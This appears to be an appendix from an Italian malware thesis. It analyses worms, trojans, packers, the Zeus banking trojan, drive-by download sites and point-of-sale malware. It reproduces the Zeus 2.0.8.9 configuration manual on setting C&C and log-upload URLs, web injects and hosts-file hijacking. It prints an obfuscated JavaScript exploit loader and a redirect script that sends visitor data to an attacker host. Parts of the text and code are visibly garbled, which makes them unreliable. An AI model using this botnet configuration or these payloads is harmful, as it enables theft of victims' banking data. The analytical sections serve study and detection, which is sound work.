HKEY_CURRENT_USER\Software\retro
nome=prova_virus
tipo=RG_SZ
valore=prova_infe
§ Paragrafo n.2.2.1
II
10.2 Worm Lion
L'worm Lion in azione [8]
Figura 18: I componenti di worm lion - tcp connect portscanner, il bind exploit, e alcuni scripts che
legano i componenti e indirizzano l' worm.
§ Paragrafo n.2.2.2
III
I trojan [29] non si diffondono autonomamente quindi richiedono un interven-
to diretto dell'aggressore per far giungere l'eseguibile maligno alla vittima, un esegui-
bile che si intalla creando se previsto un'infezione di tipo bot. In molti casi agiscono
insieme: un worm viene iniettato in rete con l'intento di installare dei trojan sui sistemi
ed arrivare alla creazione di un bot. Spesso è la vittima stessa che, involontariamente,
non prestando attenzione ai siti che sta visitando, ricerca e scarica, un trojan sul pro-
prio computer, dato che i cracker amano inserire queste "trappole" ad esempio nei vi-
deogiochi piratati, che in genere sono molto richiesti. Sono in genere riconosciuti da
un antivirus aggiornato come tutti i malware. Se il trojan in questione non è ancora sta-
to scoperto dalle software house degli antivirus, è possibile che esso venga rilevato,
con la scansione euristica, come probabile malware.
Già nel 1987 venne documentata [30] la progressiva diffusione negli Stati Uniti
di codice maligno di tipo trojan nelle BBS (Bullettin Board System). In era pre-Internet
il contagio si diffondeva attraverso il caricamento e lo scaricamento di programmi
infetti dalle BBS alle quali ci si collegava tramite modem. Il codice maligno celato nei
programmi scaricati in genere provocava la cancellazione dei dati locali dai dischi
dell'utente, talvolta con una formattazione del disco a basso livello.
10.4 Packer
I packers sono fondamentalmente un modo per crittografare il contenuto di un
fle. Sono spesso utilizzati dai malware writer sui loro campioni di malware per tentare
di evitare i controlli ed inoltre per rendere i campioni più piccoli.
IV
Figura 20: La directory contenente UpX.exe ed il file virus_c.exe
Dopo l'applicazione del software ecco come appare il fle packed , appare come
l'esecutivo di prima ma di dimensioni inferiori da 30618 a 23450 Byte:
V
Figura 22: Il file packed virus_c.exe
§ Paragrafo n.3.3.6.1
VI
Figura 24: Applicazione di Peid su esecutivo packed con Upx
VII
Figura 26: Applicazione comando clamscan
Risultato della scansione: individuazione del fle come infetto dopo la compa-
razione con la libreria di ClamAV.
VIII
Figura 27: Risultato del comando clamscan
$ grep “Vgen.2245” *
daily.ndb:Vgen.2245:2:*:2a2a536574204f75722056616c75657320616e642050\
617468732a2a??00002a2a416464204e657720576f726b626f6f6b\
2c20496e666563742049742c205361766520497420417320426f6f\
6b312e
**Set Our Values and Paths**???**Add New Workbook, Infect It, Save It As Book1.
§ Paragrafo n.3
Analisi tratta da Malware Case Study By Secure Science Corporation (2006) , realizzata dai membri di
Mal-Aware Group1. L'intero documento è reperibile sul sito di Michael Ligh [51].
Nel documento citato sono descritti i dettagli del caso di studio relativo all'esplorazione del
comportamento di un malware su sistema operativo windows (il comportamento è quello che viene ese -
guito per creare un bot ed aggregarlo ad una botnet). Il trojan studiato era mantenuto su web servers si-
tuati in Ukraine e Russia. Esistono parecchi gigabytes di dati codifcati dall' algoritmo utilizzato dal
malware. Sono stati individuati circa 10,000 fle disponibili, ognuno contenente tra i 70 bytes e 56 mega -
bytes di dati rubati ed utilizzati da criminali .
IX
Figura 28: Panorama del comportamento di un Bot nel sistema
La maggior parte degli autori di malware in genere cerca di renderlo il più nascosto possibile.
Se è facilmente rilevabile, allora non riuscirà a raggiungere i suoi obiettivi, o almeno non raggiungerà
quegli obiettivi nei modi desiderati o previsti. Questo codice mostra un tentativo di eludere il rileva-
mento basato sulla frma e un tentativo di evitare i servizi di protezione in esecuzione sul sistema.
X
l'autore del malware. Mentre trojan aggressivi avrebbero cercato di terminare i servizi di protezione con
il rischio di produrre un segnale di rilevamento visivo (ad esempio scomparire l'icona nella barra delle
applicazioni), questo trojan termina solo passivamente.
Tuttavia, termina solo dopo aver scritto sul disco ed aggiunto se stesso come voce nella chiave
userinit del Registro di sistema, chiave che si attiverà con winlogon.exe durante il successivo riavvio. Dal
momento che questo probabilmente accadrà prima che qualsiasi altro processo bersaglio abbia iniziato,
il trojan avrà quindi il vantaggio di essere in esecuzione prima di qualsiasi servizio di protezione.
Il fatto interessante dietro questa tecnica è che la matrice globale contiene solo un processo - ".
Outpost.exe" Ciò corrisponde a Outpost Firewall Pro, che ha una presunta protezione integrata a 360
gradi da spyware e auto-protezione da malware Software. Per qualche ragione, l'autore del malware ha
paura di Outpost e nessun altro. Oppure ha semplicemente dimenticato di riempire l'array con i nomi di
altri prodotti. Questo è evidente perché la funzione IsProcessActive () itera attraverso una matrice. Non
vi è alcun motivo per programmare una matrice e un ciclo di iterazione nel trojan se la matrice è stata
pensata per contenere solo un elemento.
È anche possibile che Outpost.exe sia il nome di un altro trojan che questi stessi autori hanno
codifcato e distribuito. Possono avere nascosto il fatto di fondersi con sistemi che eseguono il vero pro -
cesso di Outpost.
In questo caso, gli autori possono avere evitato Outpost.exe perché non vogliono eseguire entrambe le
copie del loro malware sullo stesso sistema. Quando questo trojan si registra nella directory di sistema
come ntos.exe come accennato prima, non fa un duplicato esatto. Invece, utilizza CopyFile () per produr-
re ntos.exe, poi apre ntos.exe e imposta il puntatore del fle fno alla fne. Successivamente, calcola un nu -
mero pseudo-casuale usando GetTickCount () come seme per generare un numero di byte psudo-ran-
dom . Il buffer risultante viene pulito alla fne di ntos.exe. Questa sezione dati non viene più riferita,
quindi non è qui per nascondere le informazioni. E' probabile che sia qui per impedire il rilevamento da
qualsiasi servizio che viene identifcato sulla base di codice dannoso sull' hash del fle. Il codice seguente
XI
mostra la funzione che genera questi valori pseudo-casuali insieme a frammenti di codice da main () che
mostrano come vengono utilizzati i valori risultanti.
Ci sono diversi modi in cui un processo può invocare un thread dall'interno di un altro proces -
so. Tra i più comuni esiste forzare un processo alla chiamata LoadLibrary () in una DLL specifcata, invo -
cando quindi la routine DllMain () di libreria, e utilizzando la funzione API CreateRemoteThread (). In
entrambi i casi, il requisito è che il codice esista all'interno dello spazio di memoria virtuale del processo
remoto 'prima che il thread inizi'.
Questo trojan in particolare richiama un thread dalla propria base di codice all'interno di un
processo remoto prima di creare l' intera immagine in una spazio sull'heap 2 del processo remoto ; e
quindi chiama CreateRemoteThread () specifcando l'indirizzo della sub routine desiderata. Durante l'e-
secuzione della funzione main () del trojan, una variabile globale viene inizializzata con un puntatore all'
indirizzo di base del trojan (il membro ImageBase da IMAGE_OPTIONAL_HEADER32 dalla struttura di
PE). Questo valore viene utilizzato per individuare SizeOfImage, che indica la dimensione complessiva
del PE in memoria, comprese tutte le sezioni e allineamento. Questo è il numero di byte che il trojan cer -
ca di scrivere nell'heap di un processo remoto, in modo che possa copiare se stesso completamente.
Un aspetto interessante di questa routine è che il trojan *richiede* che l'indirizzo di base della
sua immagine sia disponibile nel processo remoto. Quando il trojan chiama VirtualAllocEx () per il pro -
cesso a distanza, specifca il proprio indirizzo di base come l'indirizzo di partenza desiderato per la re-
gione di pagine da assegnare. Se questa regione è già stata prenotato (o assegnata), allora la funzione fal -
lisce e CreateRemoteThread () non viene mai chiamata. **Ciò indica che l'autore del malware era o trop -
po pigro o non sapeva come creare una nuova base (rebase) per l'immagine in una regione di memoria
remota del processo** .
Tuttavia l'autore sapeva come creare una base per l' immagine del trojan, perché il valore ImageBase è
0x14D00000 al posto del 0x00400000 standard. La ragione ovvia per fare il rebasing dell'immagine è per
evitare confitti con altri moduli caricati dal processo remoto che utilizzano l'indirizzo standard.
2
La memoria è allocata all'interno di un grande blocco di memoria inutilizzata chiamato heap . La dimensione della memoria
da allocare può essere determinata a runtime e la durata di vita dell'allocazione stessa non dipende dalla procedura o dallo
stack frame correnti. Si accede per via indiretta alla regione di memoria allocata, in genere attraverso un riferimento .
XII
Questa è la routine utilizzata per infettare winlogon.exe da prg.exe; e come winlogon.exe infetta
svchost.exe; e come svchost.exe infetta tutti gli altri processi.
[**E' strano il giudizio degli autori dell'analisi in merito al rebasing dell'immagine del trojan in quanto gli
autori di Microsoft dicono che come conseguenza del rebasing , l'esecuzione è meno effciente, perde la
disponibilità di tutte le DLL e consuma più CPU – tutti aspetti che gli autori di malware cercano di evi -
tare** ]
Come descritto in precedenza, una volta che il codice trojan è in esecuzione all'interno di winlo-
gon.exe, viene lanciato un pipe server preposto a gestire la comunicazione tra i vari altri thread. Il ser-
ver named pipe è essenzialmente un'istruzione switch (), che accetta un intero compreso tra 1 e 13 come
l'azione del codice, ed esegue l'azione corrispondente. Analizzando il codice delle chiamate di funzione
che inviano i dati sulla named pipe, e ancora di più, analizzando il codice all'interno di ogni singolo caso
dell'istruzione switch, si possono generare costanti signifcative sulla base ai codici di azione del pipe.
Lo scopo di questo server pipe è quello di mantenere il controllo su specifche risorse di sistema
e rispondere alle chiamate più comuni che altri thread possono richiedere. Si consideri uno scenario di
esempio. Come mostrato nel diagramma, funzioni API in ogni processo nel sistema sono agganciate con
l'intenzione di esaminare i dati contenuti in un buffer di richiesta HTTP, e scrivendo una versione codif-
cata di tali dati a un fle su disco se soddisfa determinati criteri. Il fle che riceve questi dati non è arbitra-
rio o casuale, è audio.dll e si trova nella directory system32 \ wsnpoem.
Ciò signifca che se due o più processi sul sistema hanno tentato di inviare una richiesta HTTP
allo stesso punto nel tempo, potrebbero fnire per competere per l'accesso in scrittura su audio.dll. Una
soluzione ragionevole potrebbe essere quella di creare un mutex per gestire la scrittura sul fle; e richie-
dere che tutti i threads attendano il mutex prima di tentare di aprire il fle per la scrittura. Tuttavia, se un
altro processo nel sistema cercasse di eludere tale attesa, e il fle sharing fosse stato confgurato in modo
non corretto, tutto ciò che avrebbe bisogno di fare è semplicemente fallire sul l mutex prima di tentare di
acquisire un handle di scrittura. In questo caso divine evidente il benefcio del pipe server.
Quando il thread inizale del trojan va in esecuzione da dentro winlogon.exe, ottiene un handle
per audio.dll e specifca * no * fle sharing. Questo impedisce che qualsiasi altro processo sul sistema ac -
ceda al fle fno a quando l'handle di winlogon.exe non viene chiuso. In effetti, questo impedisce anche a
XIII
tutti i programmi di monitoraggio ed analisi leggano i contenuti del fle, fno alla chiusura dell'handle
dall'interno winlogon.exe; o se aggirare l'API di Windows con i driver appositi. Se tentano uno di questi
metodi, si verifcherà una violazione di condivisione (fle sharing).
Quindi, se in teoria nessun processo può ottenere un handle di lettura per audio.dll, tanto
meno potrà scrivervi, come fanno tutti i processi di sistema 'trojanized ' ad usarlo per memorizzare i dati
rubati?
Semplicemente inviando un messaggio PIPE_REQUEST_AUDIO_RELEASE al server pipe, che sappia-
mo già eseguito dall'interno winlogin.exe. Ciò richiede a winlogon.exe di chiudere l'handle al fle au-
dio.dll per il breve periodo di tempo necessario per il processo client di scrivere le informazioni sul fle.
Una volta completato, il client invia un messaggio PIPE_REQUEST_AUDIO_OBTAIN al server pipe, in
questo modo è sicuro di riottenere un handle esclusivo a audio.dll.
Il motivo per cui questi due processi vengono saltati durante la fase di infezione di massa dei
processi è perché hanno già il codice a 0x14D00000; e sappiamo che il trojan non è in grado di ricollocare
la base della sua immagine in un processo remoto. Le altre due eccezioni sono il processo sytem idle(che
viene eseguito quando non ci sono altri processi da eseguire nella CPU) con un pid pari a 0, e qualsiasi
processo denominato "csrss.exe".
Il processo system idle non è un processo reale, quindi non è un obiettivo per infezione. Csrss.exe è l'uni-
co processo nel sistema che ha il bit "processo critico" impostato nel campo fag della sua struttura di
processo (EPROCESS) . Se questo processo è terminato, il sistema si blocca con una schermata blu CRITI-
CAL_PROCESS_DIED. Questo programma è saltato per problemi di accessibilità e per i problemi di sta-
bilità del sistema.
È interessante notare che il codice che verifca i nomi dei processi, non controlla i percorsi di directory, in
modo che salterà l'infezione di qualsiasi processo di nome csrss.exe.
In generale, il ciclo di infezione di massa dei processi è molto semplice (sic). E 'comune per il malware
ottenere solo un elenco dei processi in esecuzione chiamando CreateToolhelp32Snapshot () e poi ciclare
attraverso le strutture PROCESSENTRY32 con Process32First () e Process32Next ().
Come mostrato di seguito, se non si incontra un'eccezione, il processo è aperto con, tra gli altri, i permes-
si VM_WRITE, VM_OPERATION, e le autorizzazioni CREATE_THREAD; e l'handle ottenuto viene pas-
sato al ManageInvasion ().
XIV
Figura 32: Gestione dei Processi
La presenza del Trojan su un sistema può essere rilevato anche esaminando altre aree di memo-
XV
ria oltre i dati del disco e del Registro di sistema rigido. La tabella seguente include i dettagli su come in-
dividuare il trojan mediante la scansione di memoria o valutare l'accessibilità di determinati oggetti.
Utilizzare un programma specifco per la ricerca e valutazione non invasiva degli elementi elen-
cati nelle tabelle precedenti e segnalazione della loro esistenza [52] [53].
Se durante la scansione del fle system, mutex, e del registro, il programma rileva indicazioni
di infezione, si sposterà in avanti nel check della memoria. Il processo di controllo della memoria esegue
la scansione dei contenuti in 0x14D00000 dei processi di sistema infettati, a condizione che il range sia
leggibile. Il codice controllerà se un PE risiede nella regione e in caso affermativo, decodifcherà i dati
corrispondenti all'URL del sito trovato nell' header di MS-DOS. Se il contenuto decodifcato corrisponde
a "http", allora il processo è infetto. Questa non è una frma byte-string, è piuttosto una frma dinamica
basata su questa caratteristica. Questo metodo di rilevamento è in grado di identifcare con successo tutte
le versioni del trojan disponibili per l'analisi.
XVI
Il programma di rilevamento non tenta di pulire il sistema. Non tenterà di chiudere l'handle per
ntos.exe dall'interno di winlogon.exe. Inoltre, non tenterà di liberare la regione heap all'interno dei pro-
cessi infettati dove è scritta l'immagine del trojan . Se questo viene fatto prima della terminazione di
qualsiasi thread attivo potrebbero verifcarsi seri problemi di stabilità. Inoltre, anche se tutti i threads
vengono terminati e la regione è liberata, la prossima volta che un processo tenta di chiamare una delle
funzioni hooked, fnirà per produrre una violazione di accesso dereferenziando 0x00000000 dallo spazio
heap liberato.
C'è un modo più semplice per pulire il sistema che non incorre in problemi di stabilità, ma è
molto effcace. Si può usare uno strumento come Process Explorer, [B-84] per chiudere l'handle a winlo-
gon.exe a ntos.exe.
Questo può essere fatto utilizzando la funzione "Trova Handle" e la ricerca di "ntos.exe.".
Da qui, ntos.exe può essere eliminato; e una volta che il sistema viene riavviato, esso non sarà
più infetto. Questo perché dopo la rimozione ntos.exe dal disco, il trojan è soltanto residente in memoria.
I fle rimanenti e i valori del Registro individuati nel programma di rilevamento possono essere rimossi,
ma non causeranno danno al sistema una volta il codice trojan principale è disattivato.
(Al momento della stesura del documento, numerosi servizi di protezione rilevano il trojan, ma
molti ancora non lo fanno. La maggior parte lo rilevano come malware generico o un codice di back
door. Vi sono molte altre versioni un poco diverse; anche se senza dubbio scritte dagli stessi autori).
XVII
-----------------------------------------------------------------------------------------------------------------------------
This is version 2.0.8.9 downloaded from
http://www.mdl4.com/2011/05/download-zeus-source-code/
Third paragraph:
First:
The source configuration file is a text file encoding in Windows, and is needed to create the final
configuration file (which is a binary file to download bot) and the bot. In your package assembly
sample configuration file must be located in the folder 'local' and be named config.txt. You can
open the file in a text editor such as 'Notepad' (Notepad).
The file consists of records, one record per line. Recording is composed of parameters, the first
parameter is the name commonly write (but not always, such as in cases when there is any data
transfer, no name). The parameters are separated by spaces, if the parameter is found in the space,
or a tab, this option must be enclosed in double quotes ("), the same rule applies to the name.
Unlimited number of parameters, and if the record has a name, it read insensitive
Examples:
username Kot Matroskin
recording name - username, option 1 - Kot, option 2 - Matroskin.
Also there are special names of entries that allow you to share the configuration file you want as
far as sub-sections, which can contain within itself any number of sub-sections and records. They
are called sections and consist of a name and a parameter determining the entry section name (case
is also not taken into account in this parameter), the end of the same section, indicated by
entering end. The documentation, nesting record in relation to sub-sections will be designated by
->. That is, Entries named username owned section userdata, will be designated as the userdata->
username, etc.
Examples:
entry "userdata"
fname "petia"
lname "lolkin"
end
entry compdata
name "pcvasya"
entry devices - the contents of this section, an example of when the record does not have a name,
there is a listing of devices.
cdrom
"Hdd"
fdd
end
end
Also, you can insert comments, comments must be in a separate line, and start with a ';'. If it
turns out that the first parameter in the record, too, begins with a ';', this parameter must be
enclosed in quotation marks.
Examples:
; Hello.I think that I'm hero!
; How are you /-it does not record
"; I love you" - and here it is already recording.
Second:
Configuration File Entries
The file consists of two sections StaticConfig and DynamicConfig.
StaticConfig, the values prescribed in this section directly to the bot file, ie in exe, and define
the basic behavior of the bot on a victim's computer.
Depending on your build, some details may not have value for you, all the significant parameters
prescribed in the example that came with the package assembly.
botnet [string] - specifies the name of a botnet, which owns the boat.
string - the name of a botnet to 4 characters, or 0 - for the default value.
XVIII
timer_config [number1] [number2] - determines the intervals through which to receive updatings
configuration file.
number1 - Specifies the time in minutes through which to update the configuration file, if
successful boot last time.
number2 - Specifies the time in minutes through which to update the configuration file, in case of
an error when loading the previous time.
timer_logs [number1] [number1] - determines the intervals through which to send the accumulated
logs to the server.
number1 - Specifies the time in minutes through which to send the logs, in cases successfully sent
last time.
number2 - Specifies the time in minutes through which to send the logs, in case of an error in
sending previous time.
timer_stats [number1] [number2] - determines the intervals through which to send statistics to the
server. (Includes inastally, finding in the online, open ports, services, socks, screenshots, etc.)
number1 - Specifies the time in minutes through which to send the statistics, in cases successfully
sent last time.
number2 - Specifies the time in minutes through which to send the statistics, in the case of an
error in sending previous times.
url_config [url] - URL that is located on the main configuration file, this is the most important
parametor if the infection kompyuetra victim on a URL will not be available this configuration, the
infection does not make sense.
url_compip [url] [number] - specifies the site where you can check your IP, is used to determine
the NAT.
url - specifies the URL of the web
number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the
downloaded your IP.
blacklist_languages [number1] [number2] ... [chisloX] - specifies a list of language codes Windows,
for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and
statistics, but will appeal to the configuration file.
chisloX - language code, for example RU - 1049, EN - 1033.
DynamicConfig, the values prescribed in this section, the final configuration file.
Depending on your build, some details may not have value for you, all the significant parameters
prescribed in the example that came with the package assembly.
url_loader [url] - specifies the URL, which you can download the update bot. This option is
relevant only if you are running the botnet new version of the bot and prescribed configuration of
him for the same URL, as the old configuration, in which case the old version of the bot will start
to upgrade by downloading the file specified in this record.
url_server [url] - specifies the URL, which will be sent to statistics, files, logs, etc. from the
computers of victims.
file_webinjects - defines a local file, which is a list of web izhektov. Description of the format
of this file can be found here
Subsection AdvancedConfigs - enumerates a list of the URL, which you can download a backup
configuration file, in the cases of the inaccessibility of the main file. It is recommended to fill
this subsection 1-3 URL, which will save the botnet from death in cases of unavailability of the
main configuration file, and the result is easy to transfer it to another server. Required files
exist on this URL is not required, then the main thing to be able to place the files on this URL.
Files should be mixed there only after the discovery of the main configuration file is not
available, but if you ever want to have the files on this URL, you should update them all in sync
with the main configuration file. The backup files can not not be distinguished from the core, and
are created in the same way.
Example:
entry "AdvancedConfigs"
"Http://url1/cdffd.ccc"
"Http://url2/cdf34.dc"
end
Example:
entry "WebFilters"
, The log will be written by all the URL matching with this mask.
XIX
"Http://www.google.com/ *"
, The log will be written all the URL matching with this mask.
"! Http:// * yahoo.com / *"
And after the opening of this page will be created in the screenshots click the left mouse button.
"@ Http://www.rambler.ru/"
end
Subsection TanGrabber - determine the rules for TAN-grabber, a detailed description of this topic
can be found here
Subsection DnsMap - DNS list of changes to be made in the file% system32% \ drivers \ etc \ hosts.
Recording format: [IP] [domain].
IP - the new IP domain.
domain - the domain name for which changes IP. If the domain name begins with a '!', This domain
will have Dalen from the file, of course if it is found there. The value of IP and can be ignored
by anyone.
Example:
entry "dnsmap"
127.0.0.1 microsoft.com
192.168.0.1 google.com
0.0.0.0! Yahoo.com
end
Third:)
Then save the file.
This bot source only includes the bot generator and not the installer or the web server "Control
Center". For more Information look for Ice IX
-----------------------------------------------------------------------------------------------------------------------------
§ Paragrafo n. 5.1.2
XX
Un attacco ransomware si diffonde soprattutto via email, mediante un allegato che può
essere un fle eseguibile, un documento o un’immagine. Quando viene aperto l’allegato, il mal-
ware prende possesso del sistema. Un ransomware può attivarsi anche a partire da un sito Inter-
net infetto dal malware.
§Paragrafo n.2.2.3.1
Il sito di fan italiani del pianista jazz e compositore Keith Jarrett (http://www.keith-
jarrett.it) è un sito malevolo. E' stato trovato questo sito inviando la parola "Keith Jarrett" nella
categoria di musica al motore di ricerca Yahoo, ciò ha provocato il ritorno di questo URL nel
15 ° posto nella lista dei risultati. Il sito stesso è abbastanza semplice ed è illustrato nella fgura
. contiene testo, immagini e link, ma non contenuti multimediali.
XXI
Figura 37: Home page sito keithjarrett.it
E' stato scelto questo sito per un'analisi approfondita in quanto comprende alcuni
aspetti tipici di un server malevolo, come offuscamento, sfruttamento della posizione su un
server di provider centrale, e un tipico esempio di spyware che viene distribuito sfruttando
la popolarità. Oltre a questi elementi, contiene anche alcune tecniche più avanzate che sono
indirizzate a) nascondere l'attacco e b) aumentare la probabilità di successo dell'attacco.
L'exploit che si innesca sulla visita del sito Keith Jarrett non è contenuto direttamente
sulla pagina. E' stato trovato un frammento di codice JavaScript che "importa" l'exploit da un
altro server sulla pagina. Il frammento di codice è mostrato di seguito e inizialmente non por-
ta molto lontano dal momento che è offuscato:
<script language=JavaScript>
function dc(x)= st2 ns = "isiresearchsoft-com/cwyw" />
{var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,17,21,4,60,32,52,45,13,28,0,0,
0,0,0,0,5,
42,57,37,41,48,62,59,56,24,46,31,38,12,3,27,19,1,39,36,6,26,44,20,9,33,34,0,0
,0,0,43,0,15,
53,40,8,2,54,16,7,0,14,23,18,11,22,58,35,51,50,29,25,47,10,30,55,49,61);for(j
=Math.ceil(l/b);j>0;j--)
{r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s)
{r+=String.fromCharCode(250^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}
dc('TaXRdJBCKAsZdLBysmDpjAdE2ksLdFdCKodbIjX52kBpjl7ZlAIxUxHSwocShxzrs_7SKjtR
loHysu9xURcpNUBRhx8pPLHSIjDCPoH5i_7SPoDRKltEsPVy2aXRdJBCKlM')\
</script>
XXII
Poiché il codice JavaScript deve essere convertito in testo in chiaro per "importare"
l'exploit, la routine di decifratura è inclusa all'interno del codice JavaScript. Ciò rende più faci -
le estrarre il testo in chiaro, che è mostrato di seguito:
Si tratta di un semplice iframe nascosto che include la pagina out.php dal current.biz
server. Da lì, sono stati osservati diversi reindirizzamenti e più offuscamento fno a quando
siamo stati in grado di visualizzare l'attuale codice exploit.
Un attacco che avviene tramite un oggetto ADOBD e poi eseguito tramite WScript.-
Shell o Shell.Application object (BID: 10652). Questo tipo di attacco è stato disabilitato da varie
patch di Microsoft ma se riesce attraverso vari stadi attacca varie vulnerabilità e trasferisce i
dati catturati sul fusso di web browsing ad un server esterno lddpaym.net.
“E' stato scelto anyboard.net perchè include aspetti interessanti su come viene diffuso
i l malware. Questo sito permette di illustrare metodi utilizzati per non essere scoperti, ed
aspetto di ingegneria sociale”
L'attacco da anyboard.net dimostra che il gestore del sito web potrebbe non essere
sempre coinvolto nell'attacco. L'attacco è possibile perché l'applicazione web distribuita sul
server segue cattive pratiche che permettono al server di essere abusato dai suoi utenti. In
questo caso particolare, l'applicazione web consente agli utenti di inviare messaggi a un forum
thread, ma non sembra eseguire alcuna convalida dell'input sui messaggi caricati. Come risul-
tato, gli utenti malintenzionati possono inserire codice JavaScript dannoso. Sul Post 7933, que-
sto sembra essere accaduto in quanto un utente ha postato uno script per inserire un exploit
come illustrato nel frammento di codice HTML mostrato di seguito:
…
<div class="MessageBody"><font size=-1 face="Verdana"><script
src="http://www.impliedscripting.com/js/?
cl=90716&q=interracial+cuckold"></script>
<br ab><center><h1>Free
…
L'exploit segue lo stesso schema di quello trovato sul sito di Keith Jarrett. Il codice Ja -
vaScript offuscato, provoca diversi redirect e poi effettivamente fa scattare il vero exploit. Il
metodo di importazione, tuttavia, è diverso da quello sul sito Keith Jarrett . Invece di usare un
iframe che importa l'exploit, il codice JavaScript reindirizza l'utente alla pagina che contiene
l'exploit tramite l'applicazione di un reindirizzamento client-side . Se questo codice è combi-
nato con offuscamento, come in questo caso, è diffcile seguire il codice in modo automatico.
Questa tecnica illustra i tentativi per evitare il rilevamento e l'identifcazione degli attacchi.
XXIII
var url = document.URL;
if (ref.indexOf('cache:') <= 0 && url.indexOf('cache:') <= 0) {
window.location.href='http://www.impliedscripting.com/spawn/?r=' +
escape(ref) + '&u=' + escape(url) + '&c=' +
escape(oClientCaps.connectionType) + '&cl=' + escape('90716') + '&q=' +
escape('interracial cuckold');
}
</script>
Inoltre una volta che l' exploit è riuscito e prende il controllo della macchina client, di
solito effettua una tranquilla e silenziosa installazione di malware che esegue successivamente
le sue azioni . L'exploit incontrato in anyboard.net è molto diverso. Applica la strategia di in-
gegneria sociale travestendosi come software anti-malware, che informa l'utente che esiste
il malware sulla macchina, e poi procede per invogliare l'utente ad acquistare una licenza di
questo "software anti-malware". La fgura mostra la notifca iniziale relativa al malware esi-
stente sulla macchina dell'utente. Si noti come il meccanismo di messaggistica assomiglia ai
messaggi del Microsoft Security Center. Poco dopo, il software procede per eseguire la scan-
sione della macchina e fornire informazioni specifche sul malware che "esiste" sulla macchina
dell'utente, come mostrato nella Figura 17. Per comodità, una fnestra pop-up suggerisce di ac-
quistare una licenza di questo "software anti-malware "on-line. Si accettano carte di credito.
§ Paragrafo n.2.3.1
XXIV
10.10 Il Malware POS
Da uno studio di TrustWave [49]
Che cos' è il Malware Point-Of-Sale (POS)
Il malware Point-of-sale (POS) è un software altamente personalizzabile scritto per identificare e aggregare i dati
dei titolari di carta (CHD) in essa inclusi . Secondo alcune stime, la violazioni dei dati che coinvolgono il malware
POS hanno fatto guadagnare milioni di dollari.
I commercianti spesso utilizzano un sistema POS basato su software per facilitare l'elaborazione dei pagamenti. Dal
momento che la sicurezza delle informazioni non è una loro competenza di base, né i commercianti né i loro gestori
POS (fornitori che installano e mantengono il software e sistemi POS) hanno una solida comprensione di come si
verificano violazioni dei dati o come prevenirli. Di conseguenza, i rivenditori sono spesso l'anello più debole nella
protezione di CHD.
Quando questi dati vengono letti dal dispositivo di ingresso (lettore di schede) possono avere luogo tre scenari:
1. I dati vengono inviati direttamente dal sistema POS alla banca del commerciante per l'acquisizione.
L'autorizzazione viene quindi inviata dalla banca direttamente al sistema POS.
2. I dati vengono inviati ad un server back-of-house (BOH) che funge da punto di aggregazione centrale per
tutti i sistemi POS in quella collocazione fisica. Il server BOH trasferisce poi i dati alla banca di
acquisizione del commerciante per l'autorizzazione. L'autorizzazione è poi inviato al server BOH, che poi
collega il messaggio al terminale POS appropriato.
3. I dati vengono inviati dal sistema POS a un server BOH e quindi ad un punto centrale di pagamento
attraverso una rete MPLS. I dati vengono inviati alla banca acquirente del commerciante per
l'autorizzazione. L'autorizzazione è poi rimandata allo switch centrale di pagamento, collegata al server
BOH appropriato tramite il MPLS e quindi inviata al sistema POS adeguato.
Keylogger per monitorare i dispositivi di input sul sistema di destinazione. Come indica il nome, questo è
normalmente la tastiera, ma può essere qualsiasi dispositivo di input compresi in questo caso i lettori di schede. Una
volta che i dati sono stati inseriti nel dispositivo di input mirato, il keylogger registra i dati e li invia ad un file .
Molti keylogger possono anche prendere screenshot della macchina infetta. Screenshots focalizzati sui dati acquisiti
al fine di acquisire password, nome utente o carta di pagamento.
Una volta che i dati sono stati inviati al file di output, questo può essere criptato, codificato o rimanere come testo
in chiaro. Questi dati vengono poi inviati ad un sistema controllato dagli aggressori da un meccanismo automatico .
In altri casi, l'attaccante recupera manualmente il file di output. I Keyloggers sono normalmente installati sul
terminale POS.
A volte , gli hacker utilizzano, keylogger commerciali, come ad esempio Ardamax Keylogger o Perfect
Keylogger. Oltre a fornire un ricco set di funzionalità, permettono gli attaccanti per raggiungere il loro obiettivo
senza scrivere codice.
Dumper della Memoria. Quando una carta di credito è strisciata, i dati restano in memoria per una frazione di
secondo prima di essere utilizzati dall'applicazione di pagamento. Molti fornitori di POS affermano che la loro
applicazione codifica i dati CHD in un momento , e probabilmente credono che questo sia vero. Tuttavia, prima che
i dati CHD possano essere crittografati da un'applicazione, risiedono in un buffer nella memoria prima di passare
alla parte della transazione che esegue la crittografia. Un dumper di memoria può essere installato sia sul sistema
POS o BOH o sullo switch di pagamento e colpire in una frazione di secondo copiando il contenuto in un file di
output.
I dumper di memoria si sono evoluti nel corso degli anni. La tendenza più significativa nel corso dell'anno 2013 è
stata quella con I centri di comando e controllo (C & C). Prima del 2013, questa funzionalità era quasi inesistente
per quanto riguarda i dumper di memoria. Tuttavia, come è stato visto, con una serie di importanti famiglie di
malware (Dexter, Alina, vSkimmer, ecc), C & C è diventata una caratteristica popolare. Ciò consente agli
aggressori di controllare più istanze del loro malware, eseguire ulteriore malware e aggiornare i loro dumper di
memoria da una singola postazione. In particolare, questo ha permesso agli aggressori di creare una botnet di
dumper di memoria.
XXV
Sniffer di rete possono essere installati sia sul POS che sul sistema BOH. Inserendo la scheda di interfaccia di rete
(NIC) in quello che viene chiamato "modalità promiscua", uno sniffer di rete in grado di monitorare tutto il traffico
sulla sua porzione specifica della rete. Quando i sistemi POS passano i dati CHD al server BOH per l'aggregazione
e la trasmissione alla banca acquirente per l'autorizzazione, i dati CHD sono copiati dai pacchetti di dati e inviati ad
un file di output. Anche se nei casi di questi ultimi anni non si è verificato l'uso di sniffer di rete legati al POS ,
rimangono comunque una minaccia.
Il raggiungimento dell' accesso all'ambiente di destinazione è solo il primo passo. Un utente malintenzionato ha
anche bisogno di un nome utente e una password, preferibilmente per un account con privilegi di amministratore.
Troppo spesso un attaccante può semplicemente utilizzare le credenziali predefinite aggiunte durante l'installazione
del software POS. Nella tabella vengono mostrati i venditori POS più popolari e il loro rispettivo nome utente e la
password di default.
Con un programma di utilità di amministrazione remota aperta e il nome utente e la password amministrativa di
default , un utente malintenzionato può violare i sistemi POS in un attimo. Un tale scenario si presenta in più dell'
80 per cento dei POS compromessi. Inoltre, molte organizzazioni o gestori POS che mantengono i sistemi a più
